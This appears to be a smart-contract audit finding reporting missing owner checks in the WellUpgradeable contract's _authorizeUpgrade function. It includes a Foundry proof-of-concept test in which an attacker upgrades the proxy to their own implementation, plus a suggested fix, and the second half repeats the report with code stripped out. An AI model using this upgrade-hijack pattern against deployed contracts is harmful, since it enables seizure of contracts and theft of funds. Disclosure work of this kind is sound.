An attacker can frontrun an upgrade of the WellUpgradeable contract, this is due to not enough access control implemented in the _authorizeUpgrade function.
The _authorizeUpgrade function checked for
delegate call verification
The aquifer proxy should be same as the proxy called on upgrade
and the implementation contract to be non-zero
There was no check for
implementation owner matching previous owner of well implementation or owner of wellUpgradeable Proxy despite having OwnableUpgradeable extended on the contract
This results in anyone deploying a malicious implementation and upgrading it using the proxy to seize control of the contract, cause DOS, and/or steal funds.
It requires specialty, speed and accurate timing hijack the implementation so it is medium likely
Proof of Concept
Add and run this code in the WellUpgradeable.t.sol test contract
function testBypassUpgradeToNewImplementation() public {
address attacker = makeAddr("attacker");
IERC20[] memory tokens = new IERC20[](2);
tokens[0] = new MockToken("BEAN", "BEAN", 6);
tokens[1] = new MockToken("WETH", "WETH", 18);
Call memory wellFunction = Call(wellFunctionAddress, abi.encode("2"));
Call[] memory pumps = new Call[](1);
pumps[0] = Call(mockPumpAddress, abi.encode("2"));
// create new mock Well Implementation:
vm.startPrank(attacker);
// back mock upgradeable implementation
address wellImpl = address(new MockWellUpgradeable());
WellUpgradeable well2 =
encodeAndBoreWellUpgradeable(aquifer, wellImpl, tokens, wellFunction, pumps, bytes32(abi.encode("2")));
vm.label(address(well2), "upgradeableWell2");
// well2 is a new implementation that hold malcious code and can be used to DOS or funds stealing
WellUpgradeable proxy = WellUpgradeable(payable(proxyAddress));
proxy.upgradeTo(address(well2));
//confirm owner is still initial owner, while attacker was able to upgrade the implementation
assert(attacker != MockWellUpgradeable(proxyAddress).owner());
assertEq(initialOwner, MockWellUpgradeable(proxyAddress).owner());
// verify proxy was upgraded.
assertEq(address(well2), MockWellUpgradeable(proxyAddress).getImplementation());
assertEq(1, MockWellUpgradeable(proxyAddress).getVersion());
assertEq(100, MockWellUpgradeable(proxyAddress).getVersion(100));
vm.stopPrank();
}
forge test --mt testBypassUpgradeToNewImplementation
Tools Used
Recommended Mitigation Steps
Add an additional check with _checkOwner() or wellImplementation.ownerOf() == newWellImplementation.ownerOf()
Lines of code
https://github.com/code-423n4/2024-07-basin/blob/main/src/WellUpgradeable.sol#L93 https://github.com/code-423n4/2024-07-basin/blob/main/src/WellUpgradeable.sol#L104 https://github.com/code-423n4/2024-07-basin/blob/main/src/WellUpgradeable.sol#L65-L84
Vulnerability details
Impact
An attacker can frontrun an upgrade of the WellUpgradeable contract, this is due to not enough access control implemented in the
_authorizeUpgradefunction.The
_authorizeUpgradefunction checked forThere was no check for
This results in anyone deploying a malicious implementation and upgrading it using the proxy to seize control of the contract, cause DOS, and/or steal funds.
It requires specialty, speed and accurate timing hijack the implementation so it is medium likely
Proof of Concept
Add and run this code in the WellUpgradeable.t.sol test contract
Tools Used
Recommended Mitigation Steps
Add an additional check with
_checkOwner()or wellImplementation.ownerOf() == newWellImplementation.ownerOf()Assessed type
Upgradable